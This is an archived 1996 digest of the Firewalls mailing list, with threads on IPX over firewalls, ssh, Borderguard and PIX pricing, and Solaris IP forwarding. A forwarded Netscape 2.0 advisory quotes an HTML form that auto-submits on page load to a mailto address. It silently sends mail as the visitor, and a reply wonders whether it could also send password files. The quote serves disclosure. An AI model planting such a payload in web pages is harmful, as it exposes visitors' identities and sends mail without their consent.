Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.  Contact your
mail administrator for information about upgrading your reader to a version
that supports MIME.

------ =_NextPart_000_01BB1012.7B080700
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit

Suscribe firewalls-digest

Name:  Mr. Simonas Galarreta Seskus
Title:	Project Manager - Communications Department
E-mail:	sgalarreta@gmd.com.pe

Thanks in advance.

------ =_NextPart_000_01BB1012.7B080700--

From firewalls-owner  Tue Mar 12 11:33:10 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id KAA12647 for firewalls-outgoing; Tue, 12 Mar 1996 10:17:55 -0800 (PST)
Received: from gateway.damark.com (GATEWAY.DAMARK.COM [204.17.145.230]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id KAA12642 for <firewalls@greatcircle.com>; Tue, 12 Mar 1996 10:17:52 -0800 (PST)
Received: by gateway.damark.com; id MAA06824; Tue, 12 Mar 1996 12:16:02 -0600
Received: from unknown(172.31.254.231) by gateway.damark.com via smap (g3.0.1)
	id sme006822; Tue, 12 Mar 96 12:16:02 -0600
Received:  by damark.com (5.65/1.2-eef)
	id AA03284; Tue, 12 Mar 96 12:15:20 -0600
Message-Id: <9603121815.AA03284@damark.com>
From: "william.wells" <william.wells@damark.com>
To: FIREWALLS <firewalls@GreatCircle.COM>
Subject: FW: IPX problem -Reply
Date: Tue, 12 Mar 96 12:10:00 CST
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk


In response to: rcabana@novell.com (Richard Cabana) whose message is at the
end.

We use NetWare/IP here a fair amount.  It works great through routers.  I
don't think that it helps the firewalls issue though.  As I recall, it uses
UDP packets for most of the transmissions.  Most firewalls don't appreciate
UDP packets.
 ----------------------------------------------------------------------------
 --
Hi;

Have you considered implementing NetWare/ IP ?

If you used this product, you can eliminate IPX on the backbone and
facilitate your firewalls.




From firewalls-owner  Tue Mar 12 11:34:38 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id KAA12903 for firewalls-outgoing; Tue, 12 Mar 1996 10:23:16 -0800 (PST)
Received: from smurfland.cit.buffalo.edu (smurfland.cit.buffalo.edu [128.205.10.10]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id KAA12896 for <firewalls@greatcircle.com>; Tue, 12 Mar 1996 10:23:10 -0800 (PST)
Received: (jcmurphy@localhost) by smurfland.cit.buffalo.edu (8.7.4/8.6.4) id NAA07626 for firewalls@greatcircle.com; Tue, 12 Mar 1996 13:21:22 -0500 (EST)
From: Jeff Murphy <jcmurphy@smurfland.cit.buffalo.edu>
Message-Id: <199603121821.NAA07626@smurfland.cit.buffalo.edu>
Subject: Re: BoS: Netscape2.0 sends mail to the world without authority (fwd)
To: firewalls@greatcircle.com
Date: Tue, 12 Mar 1996 13:21:21 -0500 (EST)
In-Reply-To: <9603121518.AA02443@hfsi> from "KM" at Mar 12, 96 10:18:53 am
X-Mailer: ELM [version 2.4 PL23]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

>I noticed, while loading a web page, that there was a mailto: URL active
>(using the "Easter Egg" Ctrl-Alt-T popup to see active URLs).  Sure enough,
>after I cancelled that and examined the source, I saw something like this:

yep. this really sucks. however.. turning on "Copy Self" in the netscape
mail preferences at least bounces a copy to you so you wont be totally
unaware of it being sent. heh. netscape .. sendmail .. seems putting too
much functionality in one place inevitably leads to problems.

From firewalls-owner  Tue Mar 12 12:12:56 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id KAA13628 for firewalls-outgoing; Tue, 12 Mar 1996 10:37:04 -0800 (PST)
Received: from orion.webspan.net (orion.webspan.net [206.154.70.41]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id KAA13608 for <firewalls@GreatCircle.COM>; Tue, 12 Mar 1996 10:36:24 -0800 (PST)
Received: from orion (scanner@orion [206.154.70.41]) by orion.webspan.net (8.6.12/8.6.9) with SMTP id NAA14006; Tue, 12 Mar 1996 13:25:09 -0500
Date: Tue, 12 Mar 1996 13:25:09 -0500 (EST)
From: Scanner SOD <scanner@orion.webspan.net>
X-Sender: scanner@orion
To: Fernando Cozinheiro <cooker@ci.ua.pt>
cc: firewalls@GreatCircle.COM, Fernando Cozinheiro <cooker@ua.pt>
Subject: Re: Encrypted sessions across LANs
In-Reply-To: <199603120637.WAA05577@miles.greatcircle.com>
Message-ID: <Pine.BSF.3.91.960312132301.13941A-100000@orion>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

On Tue, 12 Mar 1996, Fernando Cozinheiro wrote:

> Dear friends:
> 
> 
> Probably,  this is not the right place to make my question,  but I can't
> identify the correct one to place it.
> 
>    In order to protect our users from sniffing operations on our LAN, we
>    need to identify any public domain or commercial packages (TELNET and
>    FTP, for  example)  to work with the  minimum  security  level on our
>    local networks,  using UNIX systems  (FreeBSD,  LINUX, HP-UX, Ultrix,
>    SunOS, etc.)?
> 
>    There are any set of  packages  that  could be used on PCs or MACs to
>    access our UNIX servers?
You might try checking out the ssh secure shell package.
It's a nice package to encrypt sessions between hosts.
I can't remember the site at the moment i do know it's in finland though. 
Do an archie search for ssh, or maybe someone reading this can post the 
ftp site.


Chris Watson, Webspan Inc., 500 West Kennedy Blvd., Lakewood, NJ 08701
Phone: (908) 367-8030 ext. 126, email: scanner@webspan.net
======================================
    FreeBSD 2.1.0 is available now!
--------------------------------------
FreeBSD: Turning PCs into Workstations
======================================



From firewalls-owner  Tue Mar 12 13:39:27 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id NAA21985 for firewalls-outgoing; Tue, 12 Mar 1996 13:23:51 -0800 (PST)
Received: from crash.cts.com ([192.188.72.17]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id NAA21980 for <firewalls@greatcircle.com>; Tue, 12 Mar 1996 13:23:46 -0800 (PST)
Received: by crash.cts.com (Smail3.1.29.1 #5)
	id m0twbW3-0000efC; Tue, 12 Mar 96 13:21 PST
Date: Tue, 12 Mar 1996 13:21:59 -0800 (PST)
From: JTCTS SA - ADTI <jtcts@cts.com>
To: firewalls@greatcircle.com
Subject: I want off
Message-ID: <Pine.SCO.3.91.960312131904.11438A-100000@crash.cts.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

PLEASE, Someone help me get off this e-mail forwarding setup.
I have gotten all the info I ever would want.
kill jtcts@crash.cts.com from all mailers please.

Thanks.  

From firewalls-owner  Tue Mar 12 14:24:34 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id NAA23616 for firewalls-outgoing; Tue, 12 Mar 1996 13:47:44 -0800 (PST)
Received: from devildog.liii.com (devildog.liii.com [204.180.230.239]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id NAA23607 for <firewalls@GreatCircle.COM>; Tue, 12 Mar 1996 13:47:38 -0800 (PST)
Received: (from uucp@localhost) by devildog.liii.com (8.6.12/8.6.9) id RAA00183; Tue, 12 Mar 1996 17:05:09 -0500
Received: from ismochief(199.33.207.3) by devildog via smap (V1.3)
	id sma000180; Tue Mar 12 17:04:44 1996
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7Bit
X-Mailer: BeyondMail for Windows/SMTP 2.2
To: blymn@awadi.com.au (Brett Lymn), chris@sandpiper.com (Chris Newton)
From: Jon Freivald <jaf@devildog.liii.com>
Subject: Re: /etc/services entries
Date: Tue, 12 Mar 1996 17:04:43 -0800
X-BeyondMail-Priority: 1
Message-Id: <BMSMTP8266790220jaf@devildog.liii.com>
Conversation-Id: <199603110605.QAA02155@mallee.awadi>
In-Reply-To: <199603110605.QAA02155@mallee.awadi>
Reply-To: Jon Freivald <jaf@devildog.liii.com>
Cc: firewalls@GreatCircle.COM
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

BeyondMail Form: Reply Message
>  Block them all - if something breaks, then do something about it.

That's the approach I took -- I'd rather figure out what I've got to put back
to make something work than to leave things hanging when I don't know what
they're for..
--
Jon Freivald
jaf@devildog.liii.com

From firewalls-owner  Tue Mar 12 14:35:44 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id OAA24664 for firewalls-outgoing; Tue, 12 Mar 1996 14:09:01 -0800 (PST)
Received: from nsco.network.com (nsco.network.com [129.191.1.1]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id OAA24637 for <firewalls@greatcircle.com>; Tue, 12 Mar 1996 14:08:49 -0800 (PST)
Received: from mnbp.network.com (ushub.network.com) by nsco.network.com (4.1/1.34)
	id AA13111; Tue, 12 Mar 96 16:10:36 CST
Received: by mnbp.network.com with Microsoft Mail
	id <3145F50A@mnbp.network.com>; Tue, 12 Mar 96 16:04:58 CST
From: Craig McLellan <mclelcl@onto.network.com>
To: firewalls <firewalls@greatcircle.com>
Subject: RE: IPX problem
Date: Tue, 12 Mar 96 16:04:00 CST
Message-Id: <3145F50A@mnbp.network.com>
X-Mailer: Microsoft Mail V3.0
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk


What would PIX buy you ??

RGRDS....clm
 ----------
From: firewalls-owner
To: firewalls
Subject: IPX problem
Date:  March 12, 1996 16:16

Hello !
I'm in charge of maintenance for Network systems & environment related to
Network.
And nowadays I'm following to setup firewall env. by using
Firewall1(Sunsoft.).
I have setup and put Firewall1 system in our network env. like feature 
below.

     Internet --- Router1 -|--- Firewall1 ---- Router2 ----systems.....
                     |
   <--Serlal_line--->|<------------------ Ethernet -------------------->
   <-- other dept.-->|<--- our dept. for maint.----------------->


The machine installed Firewall1 is SparcStation20 and we use Netware server
which is in other dept.
As you know, the UNIX machine such as Sun and IBM can support only rip
dynamic
routing protocol.
So I got some problem to implement the IPX routing between other dept. and
our dept.   .
Is there any way to overcome this problem ?
The guy who works for Sun Korea told me that there is no way to overcome .
And we are going to evaluate  PIX system 2 months later .
Is it possible to overcome this problem by using PIX system ?
If your site have firewall security env. , what kind of firewall do you use 
?
And could you tell me common structure of connection between firewall and
systems?

Thank you for your reading .
expecting your reply ....

SJLIM from Korea.

From firewalls-owner  Tue Mar 12 15:03:26 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id OAA24672 for firewalls-outgoing; Tue, 12 Mar 1996 14:09:08 -0800 (PST)
Received: from nsco.network.com (nsco.network.com [129.191.1.1]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id OAA24647 for <firewalls@greatcircle.com>; Tue, 12 Mar 1996 14:08:52 -0800 (PST)
Received: from mnbp.network.com (ushub.network.com) by nsco.network.com (4.1/1.34)
	id AA13114; Tue, 12 Mar 96 16:10:39 CST
Received: by mnbp.network.com with Microsoft Mail
	id <3145F50E@mnbp.network.com>; Tue, 12 Mar 96 16:05:02 CST
From: Craig McLellan <mclelcl@onto.network.com>
To: firewalls <firewalls@greatcircle.com>
Cc: Michael Brown <BROWNMK@misf.network.com>
Subject: RE: Borderguard
Date: Tue, 12 Mar 96 16:04:00 CST
Message-Id: <3145F50E@mnbp.network.com>
X-Mailer: Microsoft Mail V3.0
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk


Being one of the Canadian Reps, I'm interested in how you got that bad taste 
in your mouth.

I'll try to answer your question "what's wrong with it?".

Like every other piece of security technology on this market it has its 
strengths and weaknesses.  If you are looking for 100% intrusion deterrence 
and you have a philosophical problem with packet filtering then this box is 
not for you.

If you are looking for:
 - Packet filtering (high speed), yet somewhat limited firewalling
 - Integrated military grade cryptography (None of this pansy Firewall to 
Firewall DES stuff).  We support DES,3xDEC, IDEA, NSC1, Diffie Hellman, RSA 
Authentication (512, 1024, etc.).
 - Fault TOLERANT cryptography (What this means is you can define primary and 
secondary crypto termination points) Lets see everyone's response to that.
 - Integrated 4:1 compression (throw in to deal with the crypto overhead)
 - The world's only automated intrusion detection and response software 
NETSTALKER (it does cost more)
 - Network Address translation
 - The need to support ALL PROTOCOLS across a VPN
 - A vendor that's been in the networking business for 22 years
 - Product scalability to over 1 MILLION packets per second
 - A router any way because you need to terminate the serial line somehow.

Then the Borderguard is a potential fit for you!

Our approach is to position the Borderguard (and our other products - 
Security Router Best of Interop) as one of the pieces in your security 
solution.  I spend half my day telling people to buy a proxy server - but 
don't spend $35K to replicate what we can do 90% of in the box.  Design you 
solution around each products features, then balance your budget 
accordingly.  Why buy a huge UNIX box, when a Intel could do.

If you can get a product  that provides native LAN speed service, with 
integrated cryptography (Read: REAL STUFF), compression and INTRUSION 
DETECTION/AUDIT for $ 3,225.00 Canadian - great.  The market is responding.

Security is not something you can buy, it's something you do.

RGRDS....clm
 ----------
From: firewalls-owner
To: firewalls
Subject: Borderguard
Date:  March 11, 1996 00:00

Hello,
I just thought I would poke and prod your brains to find out what the 
general consensus is on NSC Borderguard.  I saw a specs sheet on it and was 
mildly impressed...
... but then I saw the price tag on it ($3500 cdn) and my first reaction was 
"what's wrong with it???"
Of course getting an answer for a question like that from NSC left a bad 
taste in my mouth, so I want to know if anybody is actually using it, and 
what the caveats ACTUALLY are. The only thing that I am aware of that it 
does not support is IP translation. - WRONG


From firewalls-owner  Tue Mar 12 15:33:36 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id PAA28375 for firewalls-outgoing; Tue, 12 Mar 1996 15:18:54 -0800 (PST)
Received: from tabatha.com (dwalker.ndip.eskimo.net [204.122.26.112]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id PAA28368 for <firewalls@GreatCircle.COM>; Tue, 12 Mar 1996 15:18:49 -0800 (PST)
From: dwalker@eskimo.com
Received: (from dwalker@localhost) by tabatha.com (8.7.5/8.6.9) id PAA17347; Tue, 12 Mar 1996 15:14:21 -0800
Date: Tue, 12 Mar 1996 15:14:21 -0800
Message-Id: <199603122314.PAA17347@tabatha.com>
To: firewalls@GreatCircle.COM
Subject: screend
Reply-To: dwalker@eskimo.com
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

	Has anyone ported screend to Linux?

--
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
     David Walker          !            	World Wide Web
  dwalker@eskimo.com       !           <http://www.eskimo.com/~dwalker/>
			   !	      <ftp://ftp.eskimo.com/u/d/dwalker/>

From firewalls-owner  Tue Mar 12 17:03:27 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id QAA04581 for firewalls-outgoing; Tue, 12 Mar 1996 16:55:05 -0800 (PST)
Received: from lint.cisco.com (lint.cisco.com [171.68.235.77]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id QAA04567 for <firewalls@GreatCircle.COM>; Tue, 12 Mar 1996 16:54:59 -0800 (PST)
Received: from pferguso-pc.cisco.com (c4robo8.cisco.com [171.68.13.104]) by lint.cisco.com (8.6.10/CISCO.SERVER.1.1) with SMTP id QAA17350; Tue, 12 Mar 1996 16:52:05 -0800
Message-Id: <199603130052.QAA17350@lint.cisco.com>
X-Sender: pferguso@lint.cisco.com
X-Mailer: Windows Eudora Pro Version 2.1.2
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Tue, 12 Mar 1996 19:52:58 -0500
To: Craig McLellan <mclelcl@onto.network.com>
From: Paul Ferguson <pferguso@cisco.com>
Subject: RE: IPX problem
Cc: firewalls <firewalls@GreatCircle.COM>
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

At 04:04 PM 3/12/96 CST, Craig McLellan wrote:

>
>What would PIX buy you ??
>

PIX is the Private Internet Exchange [Network Translation, Inc.], which
is a NAT device. It also offers some filtering capabilities.

_Private Link_ is an optional hardware encryption card specifically
designed for the PIX.

See:

 http://www.translation.com

- paul

--
Paul Ferguson                                           ||        ||
Consulting Engineering                                  ||        ||
Reston, Virginia   USA                                 ||||      ||||
tel: +1.703.716.9538                               ..:||||||:..:||||||:..
e-mail: pferguso@cisco.com                         c i s c o S y s t e m s


From firewalls-owner  Tue Mar 12 17:41:05 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id RAA06838 for firewalls-outgoing; Tue, 12 Mar 1996 17:18:04 -0800 (PST)
Received: from nsco.network.com (nsco.network.com [129.191.1.1]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id RAA06832 for <firewalls@greatcircle.com>; Tue, 12 Mar 1996 17:17:57 -0800 (PST)
Received: from anubis.network.com by nsco.network.com (4.1/1.34)
	id AA16014; Tue, 12 Mar 96 19:18:52 CST
Received: from blefscu.network.com by anubis.network.com (4.1/SMI-4.1)
	id AA27777; Tue, 12 Mar 96 19:17:17 CST
Date: Tue, 12 Mar 96 19:17:17 CST
From: amolitor@anubis.network.com (Andrew Molitor)
Message-Id: <9603130117.AA27777@anubis.network.com>
To: firewalls@greatcircle.com
Subject: RE: Borderguard
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

	But to address the actual question... ;)

	DISCLAIMER: I work for NSC. I own stock. I do not work on this
	            product line.

	BG does have flaws that have made it hard to sell as a router, most
notably, it does not talk OSPF (yet), and it doesn't have very many media
types. You currently get the one ethernet built in, and can get up to three
WAN cards of various standard types (V.35 etc), but you don't get ISDN (yet),
you can't get Token Ring or a 2nd ethernet (yet), you won't get 100Mbps
anything. I don't know the status of demand dialed things, but if it's
there, it's pretty recent (i.e. was not in there when the pricing was
laid out). So it's priced 'typically' for a low-end router. As a VPN box,
however, it seems to be a real bargain.

	Keep in mind that pricing on a box like this is primarily market
driven. Everyone else prices their little bitty router at $US995 plus extras,
getting you up to (typically) $US2000-ish, so we must do the same.

	Customers who would prefer to pay more are, of course, welcome.  Just
send any additional funds you'd like to pay direct to me, I'll ensure that
they're properly handled ;)

	I really hope someone NOT from NSC jumps in here somewhere, though.

		Andrew

From firewalls-owner  Tue Mar 12 17:48:28 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id RAA08569 for firewalls-outgoing; Tue, 12 Mar 1996 17:38:42 -0800 (PST)
Received: from firewall.chancery.com (firewall.chancery.com [206.63.21.1]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id RAA08564 for <firewalls@GreatCircle.COM>; Tue, 12 Mar 1996 17:38:38 -0800 (PST)
Received: from ALEXM (alexmccubbin.chancery.com [199.60.53.36]) by firewall.chancery.com (8.6.12/8.6.9) with SMTP id RAA10900 for <firewalls@GreatCircle.COM>; Tue, 12 Mar 1996 17:37:46 -0800
Received: by ALEXM with Microsoft Mail
	id <01BB103C.409F8960@ALEXM>; Tue, 12 Mar 1996 17:49:25 -0800
Message-ID: <01BB103C.409F8960@ALEXM>
From: "Alex \"Achmed\" McCubbin" <alexm@chancery.com>
To: "firewalls@GreatCircle.COM" <firewalls@GreatCircle.COM>
Subject: RE: Netscape2.0 sends mail to the world without authority (fwd)
Date: Tue, 12 Mar 1996 17:49:22 -0800
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Hmmm... not a big walking HTML knowledge base, wouldn't it then be possible 
for it to just attach any old file on your HD and mail it off to someone? 
 Or would that not be possible in this automated fashion?  If so, Ugh, mail 
off yer WFW style Password file, or your /etc/passwd, or just about any 
damn thing...

Yikes?

Alex...

----------
From: 	KM[SMTP:goertzek@gateway.wangfed.com]
Sent: 	Tuesday, March 12, 1996 7:18 AM
To: 	firewalls@GreatCircle.COM
Subject: 	BoS: Netscape2.0 sends mail to the world without authority (fwd)

------------ Forwarded Message begins here ------------
From: Julian Assange <proff@suburbia.net>
Date: Tue, 12 Mar 1996 13:05:23 +1000
To: best-of-security@suburbia.net
Subject: BoS: Netscape2.0 sends mail to the world without authority

Date: Mon, 11 Mar 1996 13:41:04 -0500
From: Jon Reeves <reeves@zk3.dec.com>
Subject: Yet another Trojan horse lurking in Netscape 2.0...

I noticed, while loading a web page, that there was a mailto: URL active
(using the "Easter Egg" Ctrl-Alt-T popup to see active URLs).  Sure enough,
after I cancelled that and examined the source, I saw something like this:

<body onLoad="document.mailme.submit()">
<form method=post name="mailme" 
action="mailto:nasty@secret.org?subject=gotcha">
<input type=hidden name="hi" value="there">
</form>

A quick test on my local machine shows that this will send a message to
nasty@secret.org with the subject gotcha and the body "hi=there".

This is insidious; it means that E-mail messages, purportedly from me (and
all traces will show they really are from me) can be sent anywhere, without
my knowledge, with contents that I do not approve.  Further, it means that 
I
can no longer count on browsing a site without my userid being disclosed.
Unlike Java, there is no way to disable this.  [Also been submitted to
Netscape.]

------------ Forwarded Message ends here ------------


K.M. Goertzel, Program/Project Manager
Secure Systems and Services Operation
WANG FEDERAL, Inc.
7900 Westpark Drive - MS 700
McLean, VA  22102-4299  USA
TEL: 703-827 3914
FAX: 703-827 3161
EMAIL:  goertzek@wangfed.com
WEB:  http://www.wangfed.com

+----------------------------------------------+
|                        ...I guessed not half |
| Life's symphony till I had made hearts beat, |
| And touched Love's body into trembling cries |
|                      - Wilfred Owen, "Music" |
+----------------------------------------------+





From firewalls-owner  Tue Mar 12 21:18:23 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id VAA17157 for firewalls-outgoing; Tue, 12 Mar 1996 21:07:04 -0800 (PST)
Received: from xochiphili.zerby.com (xochiphili.zerby.com [205.254.178.202]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id VAA17152 for <firewalls@GreatCircle.COM>; Tue, 12 Mar 1996 21:06:59 -0800 (PST)
From: jwright@zerby.com
Received: (from jwright@localhost) by xochiphili.zerby.com (8.7/8.7.3) id AAA03086 for firewalls@GreatCircle.COM; Wed, 13 Mar 1996 00:05:14 -0500
Message-Id: <199603130505.AAA03086@xochiphili.zerby.com>
Subject: an appology...
To: firewalls@GreatCircle.COM
Date: Wed, 13 Mar 1996 00:05:13 -0500 (EST)
X-Mailer: ELM [version 2.4 PL25]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Well, I seem to have made quite the fool out of myself by flaming Raptor
without doing my homework.  I've accomplished nothing but to deeply
embarrass myself.  The problems that I'm having with FTP are, as I've had
fried into me, are not Raptor's problem.  I want to appologize to Raptor
Systems for blasting them when I was the problem the whole time.

Jason Wright

From firewalls-owner  Tue Mar 12 23:03:37 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id WAA23278 for firewalls-outgoing; Tue, 12 Mar 1996 22:58:15 -0800 (PST)
Received: from callisto.lif.icnet.uk (callisto.lif.icnet.uk [143.65.1.5]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id WAA23273 for <firewalls@greatcircle.com>; Tue, 12 Mar 1996 22:58:11 -0800 (PST)
Received: by callisto.lif.icnet.uk; Wed, 13 Mar 1996 06:56:38 GMT
Date: Wed, 13 Mar 1996 06:56:38 +0000 (GMT)
From: John Hopkins <hopkins@icrf.icnet.uk>
Subject: Re: an appology...
To: jwright@zerby.com
Cc: firewalls@GreatCircle.COM
In-Reply-To: <199603130505.AAA03086@xochiphili.zerby.com>
Message-Id: <Pine.3.89.9603130652.C8607-0100000@callisto.lif.icnet.uk>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Hey there are real people out here in the world of the cyber.

My hats off to you Jason, for the appology.


J.

On Wed, 13 Mar 1996 jwright@zerby.com wrote:

> Well, I seem to have made quite the fool out of myself by flaming Raptor
> without doing my homework.  I've accomplished nothing but to deeply
> embarrass myself.  The problems that I'm having with FTP are, as I've had
> fried into me, are not Raptor's problem.  I want to appologize to Raptor
> Systems for blasting them when I was the problem the whole time.
> 
> Jason Wright
> 

From firewalls-owner  Wed Mar 13 00:20:44 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id AAA27206 for firewalls-outgoing; Wed, 13 Mar 1996 00:03:20 -0800 (PST)
Received: from gatekeep.namsa.nato.int (gatekeep.namsa.nato.int [147.36.199.6]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id AAA27191 for <firewalls@greatcircle.com>; Wed, 13 Mar 1996 00:03:10 -0800 (PST)
Message-Id: <199603130803.AAA27191@miles.greatcircle.com>
Received: by gatekeep.namsa.nato.int with ESMTP
	(1.37.109.16/16.2) id AA166204023; Wed, 13 Mar 1996 09:00:23 +0100
Received: from mailhub@namsa.nato.int with SMTP
	(1.37.109.16/16.2) id AA032444139; Wed, 13 Mar 1996 09:02:19 +0100
Date: Wed, 13 Mar 1996 09:02:19 +0100
From: GUINET Thierry <thierry@namsa.nato.int>
To: firewalls@greatcircle.com
Subject: Visa/MasterCard SET
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Hi there,

Sorry for this somehow off-topic question. But I believe I read something
about SET (Secured Electronic Transaction) from this mailing-list.
Could somebody point me to the right place?
TIA


Thierry Guinet 			   |NAMSA Luxembourg (Europe)
Systems & Network programmer	   |NATO Maintenance & Supply Agency
T.Guinet@namsa.nato.int		   |Phone: +352/30.63-6812
				   |Fax  : +352/30.87.21

From firewalls-owner  Wed Mar 13 00:34:00 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id AAA28050 for firewalls-outgoing; Wed, 13 Mar 1996 00:29:27 -0800 (PST)
Received: from castle.hiof.no (castle.hiof.no [158.36.33.52]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id AAA28045 for <firewalls@GreatCircle.COM>; Wed, 13 Mar 1996 00:29:23 -0800 (PST)
Received: (from fw@localhost) by castle.hiof.no (8.6.12/8.6.9) id JAA14052; Wed, 13 Mar 1996 09:33:01 +0100
Date: Wed, 13 Mar 1996 09:33:00 +0100 (MET)
From: Thomas Lundquist <fw@castle.hiof.no>
cc: FIREWALLS <firewalls@GreatCircle.COM>
Subject: Re: FW: IPX problem -Reply
In-Reply-To: <9603121815.AA03284@damark.com>
Message-ID: <Pine.LNX.3.91.960313090837.14016A-100000@castle>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk



On Tue, 12 Mar 1996, william.wells wrote:

> We use NetWare/IP here a fair amount.  It works great through routers.  I
> don't think that it helps the firewalls issue though.  As I recall, it uses
> UDP packets for most of the transmissions.  Most firewalls don't appreciate
> UDP packets.

I am working on basically the same problem.. 

We are using Linux for our "firewalls" (Uses firewall "machanics", like 
FWTK and SOCKS but do not need that much IP security sounds like a 
contradiction..:=)

So, when we wanted to implement IPX between two of the systems with 
Internet as the carrier I found a program called ipxtunnel that relays 
ipx over IP using UDP. 

This program runs on the "firewall" and it is initiated from the behind 
when needed. 

We got all that working, but I feel that running IPX packages over the 
net without any cryptation is a bit too dangerous (we also use it for 
remote maintenance) so I am working on implementing DES to the stream.
But, my programming skills are a bit, ehh, rusty, so it takes some time 
to do it. I am using the newdes2 package. Right now it compiles but won't 
encrypt or decrypt properly..

ipxtunnel was made by Andreas Godzina and I have done a few patches to it 
for making it work with a real novell connection.

This may be a solution for it..

Thomas.

--
Thomas Lundquist.                     eMail & finger: ThomasEZ@sofus.hiof.no
Oestfold college, Norway.             finger & talk: baldrick@castle.hiof.no
Departement of computer science.      Baldrick @Final Realms mud
                                      @fr.hiof.no port 2001

                        ...Boycott France...



From firewalls-owner  Wed Mar 13 02:50:49 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id CAA05457 for firewalls-outgoing; Wed, 13 Mar 1996 02:43:29 -0800 (PST)
Received: from pinea.xerox.fr (pinea.xerox.fr [193.56.117.2]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id CAA05331 for <firewalls@GreatCircle.COM>; Wed, 13 Mar 1996 02:40:06 -0800 (PST)
Received: from meije.grenoble.rxrc.xerox.com (meije.grenoble.rxrc.xerox.com [13.202.220.10]) by pinea.xerox.fr (8.6.12/8.6.9) with ESMTP id LAA12165 for <firewalls@GreatCircle.COM>; Wed, 13 Mar 1996 11:39:54 +0100
Received: from [13.202.222.150] (mac-jean.grenoble.rxrc.xerox.com [13.202.222.150]) by meije.grenoble.rxrc.xerox.com (8.6.10/8.6.9) with SMTP id LAA28220 for <firewalls@GreatCircle.COM>; Wed, 13 Mar 1996 11:39:22 +0100
X-Sender: jean@meije.grenoble.rxrc.xerox.com
Message-Id: <v02140b08ad6c54ef593e@[13.202.222.150]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Wed, 13 Mar 1996 11:39:23 +0100
To: FIREWALLS <firewalls@GreatCircle.COM>
From: Jean.Chouanard@grenoble.rxrc.xerox.com (Jean Chouanard)
Subject: Solaris 2 & ip_forwarding
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Hi,

I know that we could use ndd to turn off ip_forwarding on a Solaris 2
workstation, but is their a way to disable this feature so that intruder
can't turn it on again?

ndd seems to work as turning off ip_forwarding using adb on a SunOS kernel,
what I looking for is like setting IP_FORWARDING to -1 in SunOS.

Thanks, Jean

---
let's all be different, just like me.
---
